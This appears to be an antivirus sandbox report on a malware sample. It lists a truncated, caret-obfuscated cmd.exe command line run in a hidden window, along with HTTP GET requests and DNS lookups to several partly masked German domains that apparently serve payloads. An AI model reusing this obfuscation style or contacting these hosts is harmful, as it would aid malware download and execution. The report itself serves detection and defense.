Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' SWXslJR pcQvSEFHwOrnCNJQzffrzEL zWkYOOA & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %ZHuJzkzQocHKMJz%=vvrzEIAa&&set %aGZiPKzznfX%=p&&set %bqLiQcBEz%=o^w&&set %...
Network activity
Connects to
- 'e-###ktion.de':80
- 'ra####r-eglofs.de':80
- 'ra####r-eglofs.de':443
- '4-###demanns.de':80
- 'pr###smeiler.de':80
- 'pr###smeiler.de':443
TCP
HTTP GET requests
- http://e-###ktion.de/1sy1Dc/
- http://ra####r-eglofs.de/KPIv/
- http://4-###demanns.de/ykxEURF/
- http://pr###smeiler.de/y7kuQW/
Other
- 'ra####r-eglofs.de':443
- 'pr###smeiler.de':443
UDP
- DNS ASK va######csightseeing.com
- DNS ASK e-###ktion.de
- DNS ASK ra####r-eglofs.de
- DNS ASK 4-###demanns.de
- DNS ASK pr###smeiler.de
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' SWXslJR pcQvSEFHwOrnCNJQzffrzEL zWkYOOA & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %ZHuJzkzQocHKMJz%=vvrzEIAa&&set %aGZiPKzznfX%=p&&set %bqLiQcBEz%=o^w&&set %...' (with hidden window)
